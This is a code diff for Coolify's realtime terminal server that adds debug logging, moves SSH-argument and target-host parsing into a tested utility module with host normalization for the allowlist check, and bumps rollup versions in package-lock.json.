|
||||
logTerminal('log', 'Verifying websocket client.', requestContext);
|
||||
|
||||
// Verify presence of required tokens
|
||||
if (!laravelSession || !xsrfToken) {
|
||||
logTerminal('warn', 'Rejecting websocket client because required auth tokens are missing.', requestContext);
|
||||
return callback(false, 401, 'Unauthorized: Missing required tokens');
|
||||
}
|
||||
|
||||
|
|
@ -47,13 +82,22 @@ const verifyClient = async (info, callback) => {
|
|||
});
|
||||
|
||||
if (response.status === 200) {
|
||||
// Authentication successful
|
||||
logTerminal('log', 'Websocket client authentication succeeded.', requestContext);
|
||||
callback(true);
|
||||
} else {
|
||||
logTerminal('warn', 'Websocket client authentication returned a non-success status.', {
|
||||
...requestContext,
|
||||
status: response.status,
|
||||
});
|
||||
callback(false, 401, 'Unauthorized: Invalid credentials');
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Authentication error:', error.message);
|
||||
logTerminal('error', 'Websocket client authentication failed.', {
|
||||
...requestContext,
|
||||
error: error.message,
|
||||
responseStatus: error.response?.status,
|
||||
responseData: error.response?.data,
|
||||
});
|
||||
callback(false, 500, 'Internal Server Error');
|
||||
}
|
||||
};
|
||||
|
|
@ -65,28 +109,62 @@ wss.on('connection', async (ws, req) => {
|
|||
const userId = generateUserId();
|
||||
const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] };
|
||||
const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req);
|
||||
const connectionContext = {
|
||||
userId,
|
||||
remoteAddress: req.socket?.remoteAddress,
|
||||
sessionCookieName,
|
||||
hasXsrfToken: Boolean(xsrfToken),
|
||||
hasLaravelSession: Boolean(laravelSession),
|
||||
};
|
||||
|
||||
// Verify presence of required tokens
|
||||
if (!laravelSession || !xsrfToken) {
|
||||
logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext);
|
||||
ws.close(401, 'Unauthorized: Missing required tokens');
|
||||
return;
|
||||
}
|
||||
const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, {
|
||||
headers: {
|
||||
'Cookie': `${sessionCookieName}=${laravelSession}`,
|
||||
'X-XSRF-TOKEN': xsrfToken
|
||||
},
|
||||
});
|
||||
userSession.authorizedIPs = response.data.ipAddresses || [];
|
||||
|
||||
try {
|
||||
const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, {
|
||||
headers: {
|
||||
'Cookie': `${sessionCookieName}=${laravelSession}`,
|
||||
'X-XSRF-TOKEN': xsrfToken
|
||||
},
|
||||
});
|
||||
userSession.authorizedIPs = response.data.ipAddresses || [];
|
||||
logTerminal('log', 'Fetched authorized terminal hosts for websocket session.', {
|
||||
...connectionContext,
|
||||
authorizedIPs: userSession.authorizedIPs,
|
||||
});
|
||||
} catch (error) {
|
||||
logTerminal('error', 'Failed to fetch authorized terminal hosts.', {
|
||||
...connectionContext,
|
||||
error: error.message,
|
||||
responseStatus: error.response?.status,
|
||||
responseData: error.response?.data,
|
||||
});
|
||||
ws.close(1011, 'Failed to fetch terminal authorization data');
|
||||
return;
|
||||
}
|
||||
|
||||
userSessions.set(userId, userSession);
|
||||
logTerminal('log', 'Terminal websocket connection established.', {
|
||||
...connectionContext,
|
||||
authorizedHostCount: userSession.authorizedIPs.length,
|
||||
});
|
||||
|
||||
ws.on('message', (message) => {
|
||||
handleMessage(userSession, message);
|
||||
|
||||
});
|
||||
ws.on('error', (err) => handleError(err, userId));
|
||||
ws.on('close', () => handleClose(userId));
|
||||
|
||||
ws.on('close', (code, reason) => {
|
||||
logTerminal('log', 'Terminal websocket connection closed.', {
|
||||
userId,
|
||||
code,
|
||||
reason: reason?.toString(),
|
||||
});
|
||||
handleClose(userId);
|
||||
});
|
||||
});
|
||||
|
||||
const messageHandlers = {
|
||||
|
|
@ -98,6 +176,7 @@ const messageHandlers = {
|
|||
},
|
||||
pause: (session) => session.ptyProcess.pause(),
|
||||
resume: (session) => session.ptyProcess.resume(),
|
||||
ping: (session) => session.ws.send('pong'),
|
||||
checkActive: (session, data) => {
|
||||
if (data === 'force' && session.isActive) {
|
||||
killPtyProcess(session.userId);
|
||||
|
|
@ -110,12 +189,34 @@ const messageHandlers = {
|
|||
|
||||
function handleMessage(userSession, message) {
|
||||
const parsed = parseMessage(message);
|
||||
if (!parsed) return;
|
||||
if (!parsed) {
|
||||
logTerminal('warn', 'Ignoring websocket message because JSON parsing failed.', {
|
||||
userId: userSession.userId,
|
||||
rawMessage: String(message).slice(0, 500),
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
logTerminal('log', 'Received websocket message.', {
|
||||
userId: userSession.userId,
|
||||
keys: Object.keys(parsed),
|
||||
isActive: userSession.isActive,
|
||||
});
|
||||
|
||||
Object.entries(parsed).forEach(([key, value]) => {
|
||||
const handler = messageHandlers[key];
|
||||
if (handler && (userSession.isActive || key === 'checkActive' || key === 'command')) {
|
||||
if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) {
|
||||
handler(userSession, value);
|
||||
} else if (!handler) {
|
||||
logTerminal('warn', 'Ignoring websocket message with unknown handler key.', {
|
||||
userId: userSession.userId,
|
||||
key,
|
||||
});
|
||||
} else {
|
||||
logTerminal('warn', 'Ignoring websocket message because no PTY session is active yet.', {
|
||||
userId: userSession.userId,
|
||||
key,
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
|
@ -124,7 +225,9 @@ function parseMessage(message) {
|
|||
try {
|
||||
return JSON.parse(message);
|
||||
} catch (e) {
|
||||
console.error('Failed to parse message:', e);
|
||||
logTerminal('error', 'Failed to parse websocket message.', {
|
||||
error: e?.message ?? e,
|
||||
});
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
|
@ -134,6 +237,9 @@ async function handleCommand(ws, command, userId) {
|
|||
if (userSession && userSession.isActive) {
|
||||
const result = await killPtyProcess(userId);
|
||||
if (!result) {
|
||||
logTerminal('warn', 'Rejecting new terminal command because the previous PTY could not be terminated.', {
|
||||
userId,
|
||||
});
|
||||
// if terminal is still active, even after we tried to kill it, dont continue and show error
|
||||
ws.send('unprocessable');
|
||||
return;
|
||||
|
|
@ -147,13 +253,30 @@ async function handleCommand(ws, command, userId) {
|
|||
|
||||
// Extract target host from SSH command
|
||||
const targetHost = extractTargetHost(sshArgs);
|
||||
logTerminal('log', 'Parsed terminal command metadata.', {
|
||||
userId,
|
||||
targetHost,
|
||||
timeout,
|
||||
sshArgs,
|
||||
authorizedIPs: userSession?.authorizedIPs ?? [],
|
||||
});
|
||||
|
||||
if (!targetHost) {
|
||||
logTerminal('warn', 'Rejecting terminal command because no target host could be extracted.', {
|
||||
userId,
|
||||
sshArgs,
|
||||
});
|
||||
ws.send('Invalid SSH command: No target host found');
|
||||
return;
|
||||
}
|
||||
|
||||
// Validate target host against authorized IPs
|
||||
if (!userSession.authorizedIPs.includes(targetHost)) {
|
||||
if (!isAuthorizedTargetHost(targetHost, userSession.authorizedIPs)) {
|
||||
logTerminal('warn', 'Rejecting terminal command because target host is not authorized.', {
|
||||
userId,
|
||||
targetHost,
|
||||
authorizedIPs: userSession.authorizedIPs,
|
||||
});
|
||||
ws.send(`Unauthorized: Target host ${targetHost} not in authorized list`);
|
||||
return;
|
||||
}
|
||||
|
|
@ -169,6 +292,11 @@ async function handleCommand(ws, command, userId) {
|
|||
// NOTE: - Initiates a process within the Terminal container
|
||||
// Establishes an SSH connection to root@coolify with RequestTTY enabled
|
||||
// Executes the 'docker exec' command to connect to a specific container
|
||||
logTerminal('log', 'Spawning PTY process for terminal session.', {
|
||||
userId,
|
||||
targetHost,
|
||||
timeout,
|
||||
});
|
||||
const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options);
|
||||
|
||||
userSession.ptyProcess = ptyProcess;
|
||||
|
|
@ -182,7 +310,11 @@ async function handleCommand(ws, command, userId) {
|
|||
|
||||
// when parent closes
|
||||
ptyProcess.onExit(({ exitCode, signal }) => {
|
||||
console.error(`Process exited with code ${exitCode} and signal ${signal}`);
|
||||
logTerminal(exitCode === 0 ? 'log' : 'error', 'PTY process exited.', {
|
||||
userId,
|
||||
exitCode,
|
||||
signal,
|
||||
});
|
||||
ws.send('pty-exited');
|
||||
userSession.isActive = false;
|
||||
});
|
||||
|
|
@ -194,28 +326,18 @@ async function handleCommand(ws, command, userId) {
|
|||
}
|
||||
}
|
||||
|
||||
function extractTargetHost(sshArgs) {
|
||||
// Find the argument that matches the pattern user@host
|
||||
const userAtHost = sshArgs.find(arg => {
|
||||
// Skip paths that contain 'storage/app/ssh/keys/'
|
||||
if (arg.includes('storage/app/ssh/keys/')) {
|
||||
return false;
|
||||
}
|
||||
return /^[^@]+@[^@]+$/.test(arg);
|
||||
});
|
||||
if (!userAtHost) return null;
|
||||
|
||||
// Extract host from user@host
|
||||
const host = userAtHost.split('@')[1];
|
||||
return host;
|
||||
}
|
||||
|
||||
async function handleError(err, userId) {
|
||||
console.error('WebSocket error:', err);
|
||||
logTerminal('error', 'WebSocket error.', {
|
||||
userId,
|
||||
error: err?.message ?? err,
|
||||
});
|
||||
await killPtyProcess(userId);
|
||||
}
|
||||
|
||||
async function handleClose(userId) {
|
||||
logTerminal('log', 'Cleaning up terminal websocket session.', {
|
||||
userId,
|
||||
});
|
||||
await killPtyProcess(userId);
|
||||
userSessions.delete(userId);
|
||||
}
|
||||
|
|
@ -231,6 +353,11 @@ async function killPtyProcess(userId) {
|
|||
|
||||
const attemptKill = () => {
|
||||
killAttempts++;
|
||||
logTerminal('log', 'Attempting to terminate PTY process.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
maxAttempts,
|
||||
});
|
||||
|
||||
// session.ptyProcess.kill() wont work here because of https://github.com/moby/moby/issues/9098
|
||||
// patch with https://github.com/moby/moby/issues/9098#issuecomment-189743947
|
||||
|
|
@ -238,6 +365,10 @@ async function killPtyProcess(userId) {
|
|||
|
||||
setTimeout(() => {
|
||||
if (!session.isActive || !session.ptyProcess) {
|
||||
logTerminal('log', 'PTY process terminated successfully.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
});
|
||||
resolve(true);
|
||||
return;
|
||||
}
|
||||
|
|
@ -245,6 +376,10 @@ async function killPtyProcess(userId) {
|
|||
if (killAttempts < maxAttempts) {
|
||||
attemptKill();
|
||||
} else {
|
||||
logTerminal('warn', 'PTY process still active after maximum termination attempts.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
});
|
||||
resolve(false);
|
||||
}
|
||||
}, 500);
|
||||
|
|
@ -258,76 +393,8 @@ function generateUserId() {
|
|||
return Math.random().toString(36).substring(2, 11);
|
||||
}
|
||||
|
||||
function extractTimeout(commandString) {
|
||||
const timeoutMatch = commandString.match(/timeout (\d+)/);
|
||||
return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null;
|
||||
}
|
||||
|
||||
function extractSshArgs(commandString) {
|
||||
const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/);
|
||||
if (!sshCommandMatch) return [];
|
||||
|
||||
const argsString = sshCommandMatch[1];
|
||||
let sshArgs = [];
|
||||
|
||||
// Parse shell arguments respecting quotes
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
let i = 0;
|
||||
|
||||
while (i < argsString.length) {
|
||||
const char = argsString[i];
|
||||
const nextChar = argsString[i + 1];
|
||||
|
||||
if (!inQuotes && (char === '"' || char === "'")) {
|
||||
// Starting a quoted section
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
current += char;
|
||||
} else if (inQuotes && char === quoteChar) {
|
||||
// Ending a quoted section
|
||||
inQuotes = false;
|
||||
current += char;
|
||||
quoteChar = '';
|
||||
} else if (!inQuotes && char === ' ') {
|
||||
// Space outside quotes - end of argument
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Regular character
|
||||
current += char;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// Add final argument if exists
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
}
|
||||
|
||||
// Replace RequestTTY=no with RequestTTY=yes
|
||||
sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg);
|
||||
|
||||
// Add RequestTTY=yes if not present
|
||||
if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) {
|
||||
sshArgs.push('-o', 'RequestTTY=yes');
|
||||
}
|
||||
|
||||
return sshArgs;
|
||||
}
|
||||
|
||||
function extractHereDocContent(commandString) {
|
||||
const delimiterMatch = commandString.match(/<< (\S+)/);
|
||||
const delimiter = delimiterMatch ? delimiterMatch[1] : null;
|
||||
const escapedDelimiter = delimiter.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&');
|
||||
const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`);
|
||||
const hereDocMatch = commandString.match(hereDocRegex);
|
||||
return hereDocMatch ? hereDocMatch[1] : '';
|
||||
}
|
||||
|
||||
server.listen(6002, () => {
|
||||
console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');
|
||||
logTerminal('log', 'Terminal debug logging is enabled.', {
|
||||
terminalDebugEnabled,
|
||||
});
|
||||
});
|
||||
|
|
|
|||
127
docker/coolify-realtime/terminal-utils.js
Normal file
127
docker/coolify-realtime/terminal-utils.js
Normal file
|
|
@ -0,0 +1,127 @@
|
|||
export function extractTimeout(commandString) {
|
||||
const timeoutMatch = commandString.match(/timeout (\d+)/);
|
||||
return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null;
|
||||
}
|
||||
|
||||
function normalizeShellArgument(argument) {
|
||||
if (!argument) {
|
||||
return argument;
|
||||
}
|
||||
|
||||
return argument
|
||||
.replace(/'([^']*)'/g, '$1')
|
||||
.replace(/"([^"]*)"/g, '$1');
|
||||
}
|
||||
|
||||
export function extractSshArgs(commandString) {
|
||||
const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/);
|
||||
if (!sshCommandMatch) return [];
|
||||
|
||||
const argsString = sshCommandMatch[1];
|
||||
let sshArgs = [];
|
||||
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
let i = 0;
|
||||
|
||||
while (i < argsString.length) {
|
||||
const char = argsString[i];
|
||||
|
||||
if (!inQuotes && (char === '"' || char === "'")) {
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
current += char;
|
||||
} else if (inQuotes && char === quoteChar) {
|
||||
inQuotes = false;
|
||||
current += char;
|
||||
quoteChar = '';
|
||||
} else if (!inQuotes && char === ' ') {
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
current += char;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
}
|
||||
|
||||
sshArgs = sshArgs.map((arg) => normalizeShellArgument(arg));
|
||||
sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg);
|
||||
|
||||
if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) {
|
||||
sshArgs.push('-o', 'RequestTTY=yes');
|
||||
}
|
||||
|
||||
return sshArgs;
|
||||
}
|
||||
|
||||
export function extractHereDocContent(commandString) {
|
||||
const delimiterMatch = commandString.match(/<< (\S+)/);
|
||||
const delimiter = delimiterMatch ? delimiterMatch[1] : null;
|
||||
const escapedDelimiter = delimiter?.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&');
|
||||
|
||||
if (!escapedDelimiter) {
|
||||
return '';
|
||||
}
|
||||
|
||||
const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`);
|
||||
const hereDocMatch = commandString.match(hereDocRegex);
|
||||
return hereDocMatch ? hereDocMatch[1] : '';
|
||||
}
|
||||
|
||||
export function normalizeHostForAuthorization(host) {
|
||||
if (!host) {
|
||||
return null;
|
||||
}
|
||||
|
||||
let normalizedHost = host.trim();
|
||||
|
||||
while (
|
||||
normalizedHost.length >= 2 &&
|
||||
((normalizedHost.startsWith("'") && normalizedHost.endsWith("'")) ||
|
||||
(normalizedHost.startsWith('"') && normalizedHost.endsWith('"')))
|
||||
) {
|
||||
normalizedHost = normalizedHost.slice(1, -1).trim();
|
||||
}
|
||||
|
||||
if (normalizedHost.startsWith('[') && normalizedHost.endsWith(']')) {
|
||||
normalizedHost = normalizedHost.slice(1, -1);
|
||||
}
|
||||
|
||||
return normalizedHost.toLowerCase();
|
||||
}
|
||||
|
||||
export function extractTargetHost(sshArgs) {
|
||||
const userAtHost = sshArgs.find(arg => {
|
||||
if (arg.includes('storage/app/ssh/keys/')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return /^[^@]+@[^@]+$/.test(arg);
|
||||
});
|
||||
|
||||
if (!userAtHost) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const atIndex = userAtHost.indexOf('@');
|
||||
return normalizeHostForAuthorization(userAtHost.slice(atIndex + 1));
|
||||
}
|
||||
|
||||
export function isAuthorizedTargetHost(targetHost, authorizedHosts = []) {
|
||||
const normalizedTargetHost = normalizeHostForAuthorization(targetHost);
|
||||
|
||||
if (!normalizedTargetHost) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return authorizedHosts
|
||||
.map(host => normalizeHostForAuthorization(host))
|
||||
.includes(normalizedTargetHost);
|
||||
}
|
||||
47
docker/coolify-realtime/terminal-utils.test.js
Normal file
47
docker/coolify-realtime/terminal-utils.test.js
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {
|
||||
extractSshArgs,
|
||||
extractTargetHost,
|
||||
isAuthorizedTargetHost,
|
||||
normalizeHostForAuthorization,
|
||||
} from './terminal-utils.js';
|
||||
|
||||
test('extractTargetHost normalizes quoted IPv4 hosts from generated ssh commands', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o ServerAliveInterval=20 -o ConnectTimeout=10 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.equal(extractTargetHost(sshArgs), '10.0.0.5');
|
||||
});
|
||||
|
||||
test('extractSshArgs strips shell quotes from port and user host arguments before spawning ssh', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -p '22' -o StrictHostKeyChecking=no 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.deepEqual(sshArgs.slice(0, 5), ['-p', '22', '-o', 'StrictHostKeyChecking=no', 'root@10.0.0.5']);
|
||||
});
|
||||
|
||||
test('extractSshArgs preserves proxy command as a single normalized ssh option value', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -o ProxyCommand='cloudflared access ssh --hostname %h' -o StrictHostKeyChecking=no 'root'@'example.com' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.equal(sshArgs[1], 'ProxyCommand=cloudflared access ssh --hostname %h');
|
||||
assert.equal(sshArgs[4], 'root@example.com');
|
||||
});
|
||||
|
||||
test('isAuthorizedTargetHost matches normalized hosts against plain allowlist values', () => {
|
||||
assert.equal(isAuthorizedTargetHost("'10.0.0.5'", ['10.0.0.5']), true);
|
||||
assert.equal(isAuthorizedTargetHost('"host.docker.internal"', ['host.docker.internal']), true);
|
||||
});
|
||||
|
||||
test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => {
|
||||
assert.equal(normalizeHostForAuthorization("'[2001:db8::10]'"), '2001:db8::10');
|
||||
assert.equal(isAuthorizedTargetHost("'[2001:db8::10]'", ['2001:db8::10']), true);
|
||||
});
|
||||
|
||||
test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => {
|
||||
assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false);
|
||||
});
|
||||
266
package-lock.json
generated
266
package-lock.json
generated
|
|
@ -596,9 +596,9 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm-eabi": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.57.1.tgz",
|
||||
"integrity": "sha512-A6ehUVSiSaaliTxai040ZpZ2zTevHYbvu/lDoeAteHI8QnaosIzm4qwtezfRg1jOYaUmnzLX1AOD6Z+UJjtifg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
|
||||
"integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -610,9 +610,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-android-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-dQaAddCY9YgkFHZcFNS/606Exo8vcLHwArFZ7vxXq4rigo2bb494/xKMMwRRQW6ug7Js6yXmBZhSBRuBvCCQ3w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -624,9 +624,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-crNPrwJOrRxagUYeMn/DZwqN88SDmwaJ8Cvi/TN1HnWBU7GwknckyosC2gd0IqYRsHDEnXf328o9/HC6OkPgOg==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -638,9 +638,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-darwin-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-Ji8g8ChVbKrhFtig5QBV7iMaJrGtpHelkB3lsaKzadFBe58gmjfGXAOfI5FV0lYMH8wiqsxKQ1C9B0YTRXVy4w==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -652,9 +652,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-arm64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.57.1.tgz",
|
||||
"integrity": "sha512-R+/WwhsjmwodAcz65guCGFRkMb4gKWTcIeLy60JJQbXrJ97BOXHxnkPFrP+YwFlaS0m+uWJTstrUA9o+UchFug==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
|
||||
"integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -666,9 +666,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-freebsd-x64": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.57.1.tgz",
|
||||
"integrity": "sha512-IEQTCHeiTOnAUC3IDQdzRAGj3jOAYNr9kBguI7MQAAZK3caezRrg0GxAb6Hchg4lxdZEI5Oq3iov/w/hnFWY9Q==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
|
||||
"integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
|
||||
"cpu": [
|
||||
"x64"
|
||||
],
|
||||
|
|
@ -680,9 +680,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.57.1.tgz",
|
||||
"integrity": "sha512-F8sWbhZ7tyuEfsmOxwc2giKDQzN3+kuBLPwwZGyVkLlKGdV1nvnNwYD0fKQ8+XS6hp9nY7B+ZeK01EBUE7aHaw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -694,9 +694,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.57.1.tgz",
|
||||
"integrity": "sha512-rGfNUfn0GIeXtBP1wL5MnzSj98+PZe/AXaGBCRmT0ts80lU5CATYGxXukeTX39XBKsxzFpEeK+Mrp9faXOlmrw==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
|
||||
"integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
|
||||
"cpu": [
|
||||
"arm"
|
||||
],
|
||||
|
|
@ -708,9 +708,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-gnu": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.57.1.tgz",
|
||||
"integrity": "sha512-MMtej3YHWeg/0klK2Qodf3yrNzz6CGjo2UntLvk2RSPlhzgLvYEB3frRvbEF2wRKh1Z2fDIg9KRPe1fawv7C+g==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
|
||||
"integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -722,9 +722,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-arm64-musl": {
|
||||
"version": "4.57.1",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.57.1.tgz",
|
||||
"integrity": "sha512-1a/qhaaOXhqXGpMFMET9VqwZakkljWHLmZOX48R0I/YLbhdxr1m4gtG1Hq7++VhVUmf+L3sTAf9op4JlhQ5u1Q==",
|
||||
"version": "4.59.0",
|
||||
"resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
|
||||
"integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
|
||||
"cpu": [
|
||||
"arm64"
|
||||
],
|
||||
|
|
@ -736,9 +736,9 @@
|
|||
]
|
||||
},
|
||||
"node_modules/@rollup/rollup-linux-loong64-gnu": {
|
